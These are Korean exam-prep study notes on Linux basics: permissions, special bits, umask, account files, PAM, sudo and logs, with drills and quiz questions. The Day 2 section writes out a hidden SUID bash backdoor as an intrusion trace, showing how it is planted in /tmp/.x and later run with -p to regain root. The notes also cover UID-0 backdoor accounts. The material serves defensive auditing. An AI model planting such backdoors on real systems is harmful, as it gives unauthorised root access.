Week02_운영체제 기초

Week 02 · 운영체제 기초

Day 1 · 운영체제 개념 · 리눅스 디렉터리 · 파일 권한

1-1. 운영체제(OS)는 무엇을 하나

운영체제는 하드웨어(CPU, 메모리, 디스크, 네트워크 카드)와 사용자 프로그램 사이의 관리자다. 프로그램들이 하드웨어를 서로 차지하려고 싸우지 않도록 순서를 정하고, 서로의 영역을 침범하지 못하게 막는다.

건물에 비유하면 OS는 관리사무소다. 입주자(프로그램)는 전기·수도(하드웨어)를 직접 만지지 않고 관리사무소에 요청한다. 관리사무소는 누가 어디에 들어갈 수 있는지(권한)도 관리한다.

┌───────────────────────────────────────────┐
│ 사용자                                     │
├───────────────────────────────────────────┤
│ 응용 프로그램 (vi, apache, mysql ...)      │
├───────────────────────────────────────────┤
│ 셸(Shell) : 사용자 명령을 해석해 커널에 전달 │ ← bash, sh, zsh / 윈도우 cmd, PowerShell
├───────────────────────────────────────────┤
│ 커널(Kernel) : OS의 핵심                    │ ← 프로세스·메모리·파일시스템·장치·네트워크 관리
├───────────────────────────────────────────┤
│ 하드웨어 (CPU, 메모리, 디스크, NIC)          │
└───────────────────────────────────────────┘
구성 역할
커널 프로세스 관리(스케줄링), 메모리 관리, 파일 시스템, 장치 드라이버, 네트워크 스택. 부팅 시 메모리에 올라가 계속 상주
셸 사용자가 입력한 명령을 해석해 실행하는 명령어 해석기. 커널과 사용자 사이의 "통역사"
유틸리티/응용 ls, cp, 웹서버 등 실제 일을 하는 프로그램

1-2. 사용자 모드 vs 커널 모드, 시스템 콜

CPU는 실행 권한 단계를 나눈다. 일반 프로그램은 사용자 모드(User mode) 에서 제한된 명령만 실행하고, 하드웨어를 직접 만지는 위험한 일은 커널 모드(Kernel mode) 에서만 가능하다. x86에서는 Ring 0(커널) ~ Ring 3(사용자)로 부른다.

프로그램이 파일을 읽거나 네트워크로 보내려면 커널에 "대신 해 주세요"라고 요청하는데, 이것이 시스템 콜(System Call) 이다(예: open, read, write, fork, execve).

[사용자 모드]  프로그램: read() 호출
                  │  시스템 콜 (모드 전환)
                  ▼
[커널 모드]    커널: 권한 확인 → 디스크에서 읽기 → 결과 복사
                  │  복귀
                  ▼
[사용자 모드]  프로그램: 데이터 받음

보안 의미: 커널 모드에서 실행되는 코드(드라이버, 커널 모듈)에 취약점이 있으면 시스템 전체가 장악된다. 루트킷 중 커널 모듈 형태(LKM 루트킷)가 위험한 이유다.

1-3. 프로세스와 메모리 구조

프로세스 메모리 구조 — 버퍼 오버플로우를 이해하는 핵심 그림

높은 주소
┌──────────────────────┐
│ 스택 (Stack)          │  지역 변수, 함수 인자, **복귀 주소(Return Address)**
│        ↓ 아래로 자람   │  → 스택 버퍼 오버플로우로 복귀 주소를 덮어써 흐름 탈취
├──────────────────────┤
│        (빈 공간)       │
├──────────────────────┤
│        ↑ 위로 자람     │
│ 힙 (Heap)             │  실행 중 동적 할당 (malloc, new) → 힙 오버플로우, UAF
├──────────────────────┤
│ BSS                  │  초기화하지 않은 전역·정적 변수
├──────────────────────┤
│ 데이터 (Data)         │  초기화된 전역·정적 변수
├──────────────────────┤
│ 코드 (Text/Code)      │  기계어 명령. 보통 읽기 전용
└──────────────────────┘
낮은 주소

1-4. 리눅스 디렉터리 구조

리눅스는 모든 것이 /(루트 디렉터리) 하나에서 시작하는 나무 구조다. 윈도우처럼 C:, D: 드라이브로 나뉘지 않고, 다른 디스크도 특정 디렉터리에 마운트해서 붙인다.

경로 내용 보안 메모
/bin, /sbin 기본 명령 / 시스템 관리 명령 (최신 배포판은 /usr/bin, /usr/sbin으로 통합되고 링크만 남은 경우 많음) 명령 바꿔치기(트로이목마) 확인
/etc 설정 파일 (passwd, shadow, ssh, cron 등) 점검의 1순위
/home 일반 사용자 홈 디렉터리
/root root의 홈
/var 자주 변하는 데이터. /var/log 로그, /var/spool 메일·cron 대기열 로그 분석
/tmp 임시 파일, 누구나 쓰기 가능 (Sticky bit) 공격 도구 업로드 장소로 자주 쓰임
/dev 장치 파일 (/dev/sda 디스크, /dev/null) /dev에 일반 파일이 있으면 은닉 의심
/proc 커널·프로세스 정보를 보여주는 가상 파일시스템 (/proc/<PID>/) 실행 중 프로세스 분석
/boot 커널, 부트로더
/usr 프로그램, 라이브러리, 문서
/lib, /lib64 공유 라이브러리 라이브러리 변조
/opt 추가 설치 프로그램
/mnt, /media 마운트 지점

1-5. 파일 종류와 ls -l 읽기

리눅스는 "모든 것은 파일" 이라는 철학이라 장치·소켓도 파일로 다룬다. ls -l 첫 글자가 파일 종류다.

기호 종류 예
- 일반 파일 텍스트, 실행 파일
d 디렉터리 /etc
l 심볼릭 링크 /bin → usr/bin
b 블록 장치 (블록 단위 입출력) /dev/sda
c 문자 장치 (문자 단위 입출력) /dev/tty, /dev/null
p 파이프(FIFO)
s 소켓 /run/...sock
$ ls -l /etc/passwd /usr/bin/passwd /tmp -d
-rw-r--r--. 1 root root  2412 Nov 16 09:10 /etc/passwd
-rwsr-xr-x. 1 root root 32648 Aug 10  2025 /usr/bin/passwd
drwxrwxrwt. 18 root root  4096 Nov 16 09:30 /tmp
-rw-r--r--.  1  root  root  2412  Nov 16 09:10  /etc/passwd
│└──┬────┘│  │   │     │     │        │             └ ⑧ 이름
│   │     │  │   │     │     │        └ ⑦ 마지막 수정 시각(mtime)
│   │     │  │   │     │     └ ⑥ 크기(바이트)
│   │     │  │   │     └ ⑤ 소유 그룹
│   │     │  │   └ ④ 소유자
│   │     │  └ ③ 하드 링크 수
│   │     └ ② `.` = SELinux 보안 컨텍스트 있음 / `+` = ACL 설정 있음 (배포판·설정에 따라 표시)
│   └ 권한 9자리 (소유자 3 / 그룹 3 / 기타 3)
└ ① 파일 종류

1-6. 권한 rwx — 파일과 디렉터리는 의미가 다르다

권한은 소유자(user, u) / 그룹(group, g) / 기타(other, o) 세 부류에 각각 읽기(r) / 쓰기(w) / 실행(x) 을 준다.

권한 파일에서 디렉터리에서
r (4) 내용 읽기 (cat) 안에 있는 파일 이름 목록 보기 (ls)
w (2) 내용 수정 안에 파일 생성·삭제·이름 변경 (x도 있어야 실제 가능)
x (1) 실행 디렉터리 진입(cd)·통과, 안의 파일에 접근
핵심 함정: 파일 삭제 권한은 "디렉터리"의 w에서 나온다

파일을 지우는 것은 "디렉터리 목록에서 이름을 빼는 일"이다. 그래서 파일 자체에 w가 없어도, 그 파일이 든 디렉터리에 w+x가 있으면 삭제할 수 있다. 반대로 파일에 w가 있어도 디렉터리에 w가 없으면 삭제할 수 없다(내용 수정은 가능). → 그래서 누구나 쓰는 /tmp에는 Sticky bit가 필요하다(Day 2).

1-7. 숫자 표기 변환 연습

r=4, w=2, x=1을 더한다. 세 자리 = 소유자·그룹·기타.

 r w x   r - x   r - -
 4+2+1   4+0+1   4+0+0
   7       5       4     → 754
문자 표기 숫자 설명
rwxr-xr-x 755 실행 파일, 디렉터리 기본
rw-r--r-- 644 일반 파일 기본
rw------- 600 소유자만 읽기·쓰기 (/etc/shadow를 이렇게 두는 배포판도 있음, 개인키 파일)
rwx------ 700 소유자 전용 디렉터리
rw-r----- 640 그룹까지만 읽기
r-------- 400 소유자 읽기만
rwxrwxrwx 777 모두 모든 권한 (위험)
--------- 000 아무 권한 없음 (root는 읽기·쓰기 가능)

드릴 (가리고 풀어보기)

문제 답
rwxr-x--- 750
rw-rw-r-- 664
r-xr-xr-x 555
-wx-w---x 321
711 rwx--x--x
640 rw-r-----
444 r--r--r--

1-8. chmod · chown · chgrp

$ chmod 640 report.txt            # 숫자 방식
$ chmod u+x,g-w,o= script.sh      # 기호 방식: 소유자 x 추가, 그룹 w 제거, 기타 권한 모두 제거
$ chmod a+r notice.txt            # a = all(u,g,o 모두)
$ chmod -R 750 /data/project      # -R = 하위 전체 재귀 적용
$ chown user1 file                # 소유자 변경
$ chown user1:dev file            # 소유자와 그룹 동시 변경
$ chown -R www-data:www-data /var/www
$ chgrp dev file                  # 그룹만 변경

⚠️ 시험 함정

기출 포인트

확인 문제

Q1. drwxr-x--x인 디렉터리에 대한 설명으로 옳은 것은? (사용자는 소유자도 그룹도 아닌 기타 사용자)
① 디렉터리 안 파일 목록을 ls로 볼 수 있다.
② 디렉터리에 새 파일을 만들 수 있다.
③ 파일 이름을 정확히 알고 해당 파일에 권한이 있으면 접근할 수 있다.
④ 디렉터리 안 파일을 삭제할 수 있다.

Q2. -rw-r-----를 숫자로 표현한 것은?
① 620 ② 640 ③ 660 ④ 750

Q3. 함수의 지역 변수와 복귀 주소가 저장되어 버퍼 오버플로우 공격의 주요 표적이 되는 메모리 영역은?
① 코드 영역 ② 데이터 영역 ③ 힙 영역 ④ 스택 영역

Q4. 사용자 user1이 자기 소유 파일 a.txt의 소유자를 user2로 바꾸려고 chown user2 a.txt를 실행했다. 일반적인 리눅스에서 결과는?
① 성공한다. 소유자는 언제든 소유권을 넘길 수 있다.
② 실패한다. 소유자 변경은 root(또는 해당 권한 보유자)만 가능하다.
③ 성공하지만 그룹도 자동으로 user2로 바뀐다.
④ user2의 승인을 받으면 성공한다.

Q5. 셸(Shell)에 대한 설명으로 가장 적절한 것은?
① 하드웨어를 직접 제어하며 메모리와 프로세스를 관리하는 OS의 핵심이다.
② 사용자가 입력한 명령을 해석하여 커널에 전달하는 명령어 해석기이다.
③ 부팅 시 가장 먼저 실행되는 PID 1 프로세스이다.
④ 디스크를 블록 단위로 관리하는 파일 시스템이다.


Day 2 · 특수 권한(SUID/SGID/Sticky) · umask

2-1. 왜 특수 권한이 필요한가

/etc/shadow(비밀번호 해시)는 root만 쓸 수 있다. 그런데 일반 사용자도 passwd 명령으로 자기 비밀번호를 바꿀 수 있다. 어떻게? passwd 실행 파일에 SUID가 걸려 있어서, 실행하는 동안 파일 소유자(root)의 권한으로 동작하기 때문이다.

비유: 평직원이 금고(shadow)를 직접 열 수는 없지만, "이 양식(passwd)을 쓰면 금고 담당자 권한으로 처리해 준다" 는 위임장이 붙은 창구가 있는 셈이다. 창구 직원(프로그램)이 정해진 일만 한다면 안전하지만, 창구에 허점(취약점)이 있으면 평직원이 금고 담당자 권한을 통째로 얻는다.

2-2. 세 가지 특수 권한

권한 숫자 표시 위치 파일에 걸면 디렉터리에 걸면 대표 예
SUID (Set User ID) 4000 소유자 x 자리 → s 실행하는 동안 파일 소유자의 권한(유효 UID) 리눅스에서는 무시됨 /usr/bin/passwd (-rwsr-xr-x)
SGID (Set Group ID) 2000 그룹 x 자리 → s 실행하는 동안 파일 소유 그룹의 권한 안에 만든 파일이 디렉터리의 그룹을 상속 (협업 폴더) 일부 배포판의 write, wall 등
Sticky bit 1000 기타 x 자리 → t (리눅스에서는 의미 없음) 안의 파일을 소유자(파일 주인·디렉터리 주인·root)만 삭제·이름 변경 /tmp (drwxrwxrwt)
-rwsr-xr-x  → 4755   (SUID + 755)
-rwxr-sr-x  → 2755   (SGID + 755)
drwxrwxrwt  → 1777   (Sticky + 777)
-rwsr-sr-x  → 6755   (SUID + SGID + 755)

대문자 S, T의 의미: 특수 권한은 켜져 있는데 그 자리의 실행 권한 x가 없는 상태.

-rwSr--r--  → 4644   (SUID 있음, 소유자 x 없음 → 실행 자체가 안 돼 사실상 무의미한 설정)
drwxrwxrwT  → 1776   (Sticky 있음, 기타 x 없음)

변환 요령: 소문자 s/t = 특수권한 + x, 대문자 S/T = 특수권한만.

2-3. Sticky bit가 왜 /tmp에 필요한가

/tmp는 모든 사용자가 임시 파일을 만들어야 해서 rwxrwxrwx가 필요하다. 그런데 Day 1에서 배운 대로 디렉터리 w가 있으면 남의 파일도 지울 수 있다. user1이 user2의 임시 파일을 지우거나 바꿔치기할 수 있게 된다.

Sticky bit를 걸면 "쓰기는 누구나, 지우기는 주인만"이 된다.

$ ls -ld /tmp
drwxrwxrwt. 18 root root 4096 Nov 16 09:30 /tmp
$ ls -l /tmp/data.txt
-rw-rw-rw-. 1 user2 user2 10 Nov 16 09:31 /tmp/data.txt
$ whoami
user1
$ rm /tmp/data.txt
rm: cannot remove '/tmp/data.txt': Operation not permitted   ← 파일이 666이어도 삭제 불가

2-4. 설정·해제 명령

$ chmod u+s file     # SUID 설정   (= chmod 4755 file 처럼 숫자 앞자리 4)
$ chmod g+s dir      # SGID 설정
$ chmod +t dir       # Sticky 설정 (= chmod 1777 dir)
$ chmod u-s file     # SUID 제거
$ chmod 0755 file    # 숫자로 특수권한까지 0으로 지정 (일반 파일 기준)

2-5. SUID의 보안 위험과 점검

root 소유 SUID 파일은 누가 실행하든 root 권한으로 돈다. 그래서:

  1. 그 프로그램에 버퍼 오버플로우 등 취약점이 있으면 → 일반 사용자가 root 셸 획득(권한 상승).
  2. 셸 실행 기능이 있는 프로그램(편집기, 인터프리터 등)에 SUID가 붙으면 → 그 기능으로 root 셸 실행.
  3. 공격자가 침투 후 /bin/bash 복사본에 SUID를 걸어 숨겨 두면 → 백도어.
# 침해 흔적 예: 숨겨진 SUID 셸
# cp /bin/bash /tmp/.x ; chmod 4755 /tmp/.x      ← 공격자가 root일 때 심어둠
$ /tmp/.x -p                                      ← 나중에 일반 사용자로 실행, -p는 권한 유지
# id
uid=1001(user1) gid=1001(user1) euid=0(root)      ← 유효 UID가 root

find로 점검하기

명령 의미
find / -user root -perm -4000 -type f 2>/dev/null root 소유 + SUID 설정된 일반 파일
find / -perm -2000 -type f 2>/dev/null SGID 설정 파일
find / -perm -6000 -type f SUID 와 SGID 둘 다 설정된 파일
find / -perm /6000 -type f SUID 또는 SGID 중 하나라도 (GNU find. 옛 문법 +6000)
find / -type f -perm -2 -exec ls -l {} \; 기타 사용자 쓰기 가능(world-writable) 파일
find / -nouser -o -nogroup 소유자·그룹이 존재하지 않는 파일 (삭제된 계정 흔적·공격자 파일)
find / -mtime -1 최근 1일 내 수정된 파일

2-6. umask — 새 파일의 기본 권한

파일을 새로 만들 때마다 chmod 하기 번거로우니, 시스템은 기본 최대 권한에서 umask 값을 "가린(mask)" 결과를 새 파일에 준다.

드릴 ①: umask 022

파일:  666 → 110 110 110
umask: 022 → 000 010 010  (이 비트를 끈다)
결과:        110 100 100 → 644 (rw-r--r--)
디렉터리: 777 → 111 101 101 → 755 (rwxr-xr-x)

드릴 ②: umask 027

파일: 6 / 6&~2=4 / 6&~7=0 → 640
디렉터리: 7 / 7&~2=5 / 7&~7=0 → 750

드릴 ③: umask 033 (뺄셈 함정!)

단순 뺄셈: 666 − 033 = 633 → 틀린 답 (rw--wx-wx 처럼 없던 x가 생김)
비트 연산: 6 = 110, 3 = 011 → 110 AND 100 = 100 = 4
→ 파일 644, 디렉터리 744
umask 파일 디렉터리 쓰임
022 644 755 일반적인 기본값
002 664 775 그룹 협업 (일부 배포판의 일반 사용자 기본값)
027 640 750 보안 권고 (기타 사용자 접근 차단)
077 600 700 가장 엄격 (본인만)
033 644 744 뺄셈 함정용
$ umask
0022
$ umask -S
u=rwx,g=rx,o=rx
$ umask 027          # 현재 셸에만 적용
$ touch a ; mkdir b ; ls -ld a b
-rw-r-----. 1 user1 user1    0 Nov 17 10:00 a
drwxr-x---. 2 user1 user1 4096 Nov 17 10:00 b

⚠️ 시험 함정

기출 포인트

확인 문제

Q1. -rwsr-x--- 권한을 숫자로 나타낸 것은?
① 2750 ② 4750 ③ 4740 ④ 1750

Q2. umask가 037일 때 새로 생성되는 일반 파일의 권한은?
① 629 ② 640 ③ 630 ④ 740

Q3. /tmp 디렉터리에 Sticky bit를 설정하는 주된 이유는?
① 디렉터리 안 파일을 root만 읽을 수 있게 하기 위해
② 누구나 파일을 만들 수 있되, 파일 소유자만 자신의 파일을 삭제할 수 있게 하기 위해
③ 디렉터리 안에서 실행되는 프로그램이 root 권한을 갖게 하기 위해
④ 새로 만든 파일이 디렉터리 그룹을 상속하게 하기 위해

Q4. SUID와 SGID가 모두 설정된 파일만 찾는 명령으로 옳은 것은?
① find / -perm -6000 -type f ② find / -perm /6000 -type f ③ find / -perm 6000 -type f ④ find / -perm -1000 -type f

Q5. root 소유 SUID 실행 파일이 보안상 위험한 이유로 가장 적절한 것은?
① 파일 내용이 암호화되지 않아서
② 일반 사용자가 실행해도 root 권한으로 동작하므로 취약점 악용 시 권한 상승이 가능해서
③ 파일 크기가 커져 디스크를 고갈시켜서
④ 실행할 때마다 로그가 남지 않아서


Day 3 · 계정 관리 파일 · 패스워드 해시 · PAM · su/sudo

3-1. 리눅스는 사용자를 숫자로 기억한다

리눅스 커널은 사용자 이름이 아니라 UID(User ID) 숫자로 사람을 구분한다. 이름 ↔ UID 대응표가 /etc/passwd다. 그룹도 마찬가지로 GID.

UID 의미
0 root(최고 관리자). 이름이 무엇이든 UID가 0이면 root 권한
1 ~ 999 시스템 계정(daemon, apache, mysql 등 서비스용). 옛 RHEL(6 이하)은 1~499
1000 ~ 일반 사용자 (범위는 /etc/login.defs의 UID_MIN, UID_MAX로 결정)

3-2. /etc/passwd — 7개 필드

/etc/passwd는 누구나 읽을 수 있어야 한다(ls가 UID를 이름으로 바꿔 보여주는 등 여러 프로그램이 참조). 그래서 비밀번호 해시는 여기서 빼서 /etc/shadow로 옮겼다.

user1:x:1001:1001:Hong Gildong,,,:/home/user1:/bin/bash
  ①   ②  ③    ④         ⑤              ⑥           ⑦
번호 필드 설명 점검 포인트
① 사용자 이름 로그인 이름
② 비밀번호 x = 실제 해시는 /etc/shadow에 있음 x가 아니고 해시가 있으면 shadow 미사용(취약), 비어 있으면 비밀번호 없이 로그인 가능할 수 있어 매우 위험
③ UID 사용자 번호 root 외에 UID 0인 계정 = 백도어 의심
④ GID 기본 그룹 번호
⑤ GECOS(설명) 실명, 연락처 등
⑥ 홈 디렉터리 로그인 시 시작 위치
⑦ 로그인 셸 로그인 후 실행할 셸 로그인 불필요한 시스템 계정은 /sbin/nologin 또는 /bin/false

예시로 판독하기

root:x:0:0:root:/root:/bin/bash                       ← 정상 root
bin:x:1:1:bin:/bin:/sbin/nologin                      ← 시스템 계정, 로그인 차단 (정상)
apache:x:48:48:Apache:/usr/share/httpd:/sbin/nologin  ← 서비스 계정 (정상)
user1:x:1001:1001::/home/user1:/bin/bash              ← 일반 사용자
backup2:x:0:0::/home/backup2:/bin/bash                ← ⚠️ UID 0! root와 동일 권한 → 백도어 의심
test::1002:1002::/home/test:/bin/bash                 ← ⚠️ 비밀번호 필드가 비어 있음

점검 명령:

$ awk -F: '$3 == 0 {print $1}' /etc/passwd     # UID가 0인 계정 이름 출력
root
backup2

3-3. /etc/shadow — 9개 필드

root만 읽을 수 있는 파일(권한은 배포판에 따라 400, 000, 640 root:shadow 등). 비밀번호 해시와 비밀번호 수명 정책이 들어 있다.

user1:$6$Xy7Qp2Lm$k9Jd...(생략)...F1:20400:1:90:7:30::
  ①            ②                     ③    ④ ⑤  ⑥ ⑦ ⑧ ⑨
번호 필드 예시 값 의미
① 사용자 이름 user1
② 암호화된 비밀번호 $6$salt$hash 해시 (아래 3-4)
③ 마지막 변경일 20400 1970-01-01부터 며칠째인지 (0이면 다음 로그인 때 변경 강제)
④ 최소 사용 기간 1 변경 후 최소 1일은 다시 못 바꿈 (바로 예전 비밀번호로 되돌리는 것 방지)
⑤ 최대 사용 기간 90 90일마다 변경해야 함
⑥ 경고 기간 7 만료 7일 전부터 경고
⑦ 비활성 기간 30 만료 후 30일이 지나면 계정 비활성화
⑧ 계정 만료일 (빈칸) 1970-01-01부터의 일수. 이 날 이후 로그인 불가
⑨ 예약

② 필드의 특수 값

값 의미
* 비밀번호로 로그인 불가 (시스템 계정에 흔함)
! 또는 !! 잠김 / 비밀번호 미설정 (!!는 RHEL에서 계정 생성 후 비밀번호를 아직 안 정한 상태)
!$6$... passwd -l로 잠근 계정 — 해시 앞에 !가 붙어 어떤 비밀번호도 일치하지 않음. passwd -u로 해제
(빈칸) 비밀번호 없음 → 매우 위험
$ sudo chage -l user1
Last password change                                : Nov 08, 2025
Password expires                                    : Feb 06, 2026
Password inactive                                   : Mar 08, 2026
Account expires                                     : never
Minimum number of days between password change      : 1
Maximum number of days between password change      : 90
Number of days of warning before password expires   : 7

3-4. 비밀번호 해시와 Salt

리눅스는 비밀번호를 그대로 저장하지 않고 일방향 해시만 저장한다. 로그인할 때 입력값을 같은 방식으로 해시해서 저장값과 비교한다.

형식: $ID$salt$hash

ID 알고리즘 비고
$1$ MD5 기반 취약, 사용 금지
$2a$, $2b$, $2y$ bcrypt 일부 배포판 지원
$5$ SHA-256 기반
$6$ SHA-512 기반 RHEL 계열 기본(오래 쓰인 표준)
$y$ yescrypt Debian 11+, Ubuntu 22.04+, Fedora 35+ 등 최신 배포판 기본
($ 없이 13글자) 옛 DES crypt 매우 취약

Salt가 필요한 이유

user1: P@ssw0rd + salt "Xy7Qp2Lm" → $6$Xy7Qp2Lm$k9Jd...
user2: P@ssw0rd + salt "aB3dE9fG" → $6$aB3dE9fG$Q2mz...   ← 같은 비번, 다른 해시

3-5. /etc/login.defs — 계정 생성 기본 정책

PASS_MAX_DAYS   90       # 최대 사용 기간
PASS_MIN_DAYS   1        # 최소 사용 기간
PASS_WARN_AGE   7        # 경고 기간
PASS_MIN_LEN    8        # 최소 길이 (PAM을 쓰는 최신 배포판에선 pwquality가 우선해 무시되는 경우 많음)
UID_MIN         1000
UID_MAX         60000
UMASK           077      # 홈 디렉터리 생성 등에 쓰는 umask (배포판마다 기본값 다름)
ENCRYPT_METHOD  SHA512   # 해시 방식 (최신 Debian 계열은 YESCRYPT)

3-6. PAM — 인증을 부품처럼 갈아 끼우기

PAM(Pluggable Authentication Modules) 은 로그인, su, sshd, passwd 같은 프로그램이 인증을 직접 구현하지 않고 공통 모듈을 조합해 쓰게 하는 프레임워크다. 프로그램을 다시 컴파일하지 않고 설정 파일만 바꿔 정책(비밀번호 복잡도, 실패 잠금, wheel 그룹 제한)을 적용할 수 있다.

설정 위치: /etc/pam.d/<서비스 이름> (예: /etc/pam.d/su, /etc/pam.d/sshd, RHEL /etc/pam.d/system-auth·password-auth, Debian /etc/pam.d/common-auth)

한 줄의 구조: 모듈유형 제어플래그 모듈 [인자]

모듈 유형 하는 일
auth 사용자 확인(비밀번호 검사 등)
account 계정이 지금 사용 가능한지(만료, 접근 시간 제한)
password 비밀번호 변경 규칙(복잡도)
session 로그인 전후 작업(로그 기록, 홈 마운트)
제어 플래그 의미
required 반드시 성공해야 함. 실패해도 나머지 모듈은 계속 실행한 뒤 최종 실패 (어느 단계에서 실패했는지 숨김)
requisite 반드시 성공해야 함. 실패하면 즉시 중단
sufficient 성공하면(앞의 required가 실패하지 않았다면) 바로 인증 성공, 실패하면 무시
optional 결과가 다른 모듈에 영향을 주지 않음(유일한 모듈일 때만 의미)
include 다른 설정 파일을 불러옴

① 로그인 실패 시 계정 잠금 — pam_faillock
RHEL 8+ 등 최신 배포판은 pam_faillock, 옛 배포판은 pam_tally2(현재 제거됨)를 썼다.

# /etc/security/faillock.conf
deny = 5             # 5회 실패 시 잠금
unlock_time = 600    # 600초(10분) 뒤 자동 해제 (0이면 관리자가 풀 때까지)
even_deny_root       # root에도 적용 (선택)
$ sudo faillock --user user1           # 실패 기록 확인
user1:
When                Type  Source                                           Valid
2026-11-18 03:15:22 RHOST 198.51.100.23                                        V
...
$ sudo faillock --user user1 --reset   # 잠금 해제

(옛 방식: pam_tally2 --user user1, pam_tally2 --user user1 --reset)

② 비밀번호 복잡도 — pam_pwquality

# /etc/security/pwquality.conf
minlen = 8
dcredit = -1    # 숫자 최소 1개 (음수 = "최소 개수")
ucredit = -1    # 대문자 최소 1개
lcredit = -1    # 소문자 최소 1개
ocredit = -1    # 특수문자 최소 1개

③ su를 wheel 그룹만 쓰게 — pam_wheel

# /etc/pam.d/su
auth  required  pam_wheel.so use_uid

3-7. root 접근 통제 — su, sudo, 원격 root 로그인

방법 동작 기록
su 다른 사용자(기본 root)로 전환. 대상 계정의 비밀번호 필요. 환경 변수는 현재 것 유지 secure/auth.log (일부 유닉스는 sulog)
su - 전환 + 대상 사용자의 로그인 환경(PATH, 홈)까지 적용 〃
sudo 허락된 명령만 root 권한으로 실행. 자기 비밀번호 입력. 명령별 기록이 남음 secure/auth.log
# /etc/sudoers (반드시 visudo로 편집 → 문법 오류 검사)
root     ALL=(ALL)       ALL
%wheel   ALL=(ALL)       ALL                       # wheel 그룹 전원 모든 명령
user1    ALL=(root)      /usr/bin/systemctl restart httpd   # 특정 명령만 허용
user2    ALL=(ALL)       NOPASSWD: ALL             # ⚠️ 비밀번호 없이 모든 명령 → 위험

원격 root 직접 로그인 차단

3-8. /etc/group

wheel:x:10:user1,admin
 ①   ② ③     ④

① 그룹 이름 ② 그룹 비밀번호(x = /etc/gshadow) ③ GID ④ 보조 그룹 구성원 목록(쉼표 구분).

⚠️ 시험 함정

기출 포인트

확인 문제

Q1. 다음 /etc/passwd 항목 중 보안상 가장 문제가 되는 것은?
① daemon:x:2:2:daemon:/sbin:/sbin/nologin
② user1:x:1001:1001::/home/user1:/bin/bash
③ svc:x:0:0::/home/svc:/bin/bash
④ mysql:x:27:27:MySQL:/var/lib/mysql:/bin/false

Q2. /etc/shadow 항목 user2:$6$abc$...:20000:0:60:7:::에 대한 설명으로 옳은 것은?
① 비밀번호는 MD5로 해시되었다.
② 비밀번호 최대 사용 기간은 60일이다.
③ 비밀번호를 바꾼 뒤 최소 7일 동안 다시 바꿀 수 없다.
④ 마지막 변경일 20000은 초 단위 유닉스 시간이다.

Q3. 비밀번호 해시에 Salt를 사용하는 주된 목적은?
① 해시값을 다시 원래 비밀번호로 복호화하기 위해
② 같은 비밀번호라도 다른 해시가 나오게 하여 사전 계산(레인보우 테이블) 공격을 어렵게 하기 위해
③ 해시 계산 속도를 높이기 위해
④ 비밀번호 최소 길이를 강제하기 위해

Q4. PAM 제어 플래그 중 모듈이 실패하면 즉시 인증 실패를 반환하고 나머지 모듈을 실행하지 않는 것은?
① required ② requisite ③ sufficient ④ optional

Q5. wheel 그룹 사용자만 su 명령으로 root 전환을 할 수 있도록 할 때 사용하는 PAM 모듈은?
① pam_faillock.so ② pam_pwquality.so ③ pam_wheel.so ④ pam_securetty.so


Day 4 · 리눅스 로그 (★ 필기·실기 최빈출)

4-1. 로그는 왜 중요한가

로그는 시스템의 블랙박스다. 침해사고가 나면 "누가, 언제, 어디서, 무엇을" 했는지 로그로 재구성한다. 그래서 공격자는 침투 후 로그부터 지우거나 조작하려 한다. 보안 담당자는 ① 어떤 로그가 어디에 있는지, ② 어떤 명령으로 보는지, ③ 공격 흔적이 어떻게 보이는지를 알아야 한다.

리눅스 로그는 크게 두 갈래다.

4-2. 로그 전체 지도

로그 위치(일반적) 기록 내용 확인 명령 형식
utmp /var/run/utmp (/run/utmp) 현재 로그인한 사용자 w, who, users, finger 바이너리
wtmp /var/log/wtmp 로그인·로그아웃 이력, 시스템 재부팅·종료 last 바이너리
btmp /var/log/btmp 로그인 실패 이력 lastb 바이너리
lastlog /var/log/lastlog 계정별 가장 최근 로그인 1건 lastlog 바이너리
pacct /var/account/pacct(RHEL) · /var/log/account/pacct(Debian) 사용자가 실행한 명령 (프로세스 accounting) lastcomm, sa 바이너리
secure /var/log/secure (Debian/Ubuntu: /var/log/auth.log) 인증·권한: ssh 로그인 성공/실패, su, sudo, 계정 생성 cat, tail, grep 텍스트
messages /var/log/messages (Debian/Ubuntu: /var/log/syslog) 시스템 전반 (서비스 시작·중지, 커널 메시지 등) 〃 텍스트
dmesg /var/log/dmesg (커널 링 버퍼) 부팅 시 커널·하드웨어 메시지 dmesg 텍스트
xferlog /var/log/xferlog FTP 파일 송수신 〃 텍스트
sulog /var/adm/sulog (Solaris·HP-UX 등) su 사용 기록 (리눅스는 secure/auth.log에 기록) 〃 텍스트
cron /var/log/cron 예약 작업 실행 텍스트
maillog /var/log/maillog (Debian mail.log) 메일 송수신 텍스트
boot.log /var/log/boot.log 부팅 중 서비스 시작 결과 텍스트
.bash_history ~/.bash_history 사용자가 친 셸 명령 history 텍스트
Apache access_log/error_log (RHEL /var/log/httpd/, Debian /var/log/apache2/access.log) 웹 요청 / 오류 텍스트
(Solaris) loginlog /var/adm/loginlog 연속 5회 이상 로그인 실패 텍스트
외우는 법

  • utmp = 지금 (you, now) → w / who
  • wtmp = 전체 이력 (whole) → last
  • btmp = 나쁜 것 (bad, 실패) → lastb
  • lastlog = 이름 그대로 마지막 → lastlog
  • pacct = process accounting → lastcomm(and)
  • 바이너리 5총사는 전용 명령, 나머지 텍스트는 cat/tail/grep

배포판 변화 메모

32비트 시간 필드의 2038년 문제 때문에 일부 최신 배포판은 utmp/wtmp/lastlog 대신 wtmpdb·lastlog2 같은 새 저장 방식으로 옮겨 가고 있다. 시험은 전통적인 파일 이름 기준으로 공부하면 된다.

4-3. 실습 · 바이너리 로그 명령과 출력 읽기

w — 지금 누가 무엇을 하고 있나 (utmp)

$ w
 09:30:01 up 11:32,  2 users,  load average: 0.00, 0.01, 0.05
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
user1    pts/0    192.168.0.5      09:12    0.00s  0.05s  0.01s w
root     tty1     -                08:01    1:29m  0.02s  0.02s -bash

last — 로그인 이력과 재부팅 (wtmp)

$ last
user1    pts/0        192.168.0.5      Mon Nov 16 09:12   still logged in
root     tty1                          Mon Nov 16 08:01   still logged in
reboot   system boot  5.14.0-427.el9.x Mon Nov 16 07:58   still running
user1    pts/1        203.0.113.50     Sun Nov 15 03:12 - 03:40  (00:27)
root     pts/0        192.168.0.5      Sat Nov 14 18:20 - 19:02  (00:41)

wtmp begins Sun Nov  1 00:00:01 2026

lastb — 로그인 실패 (btmp, root만)

$ sudo lastb
admin    ssh:notty    198.51.100.23    Mon Nov 16 03:15 - 03:15  (00:00)
admin    ssh:notty    198.51.100.23    Mon Nov 16 03:15 - 03:15  (00:00)
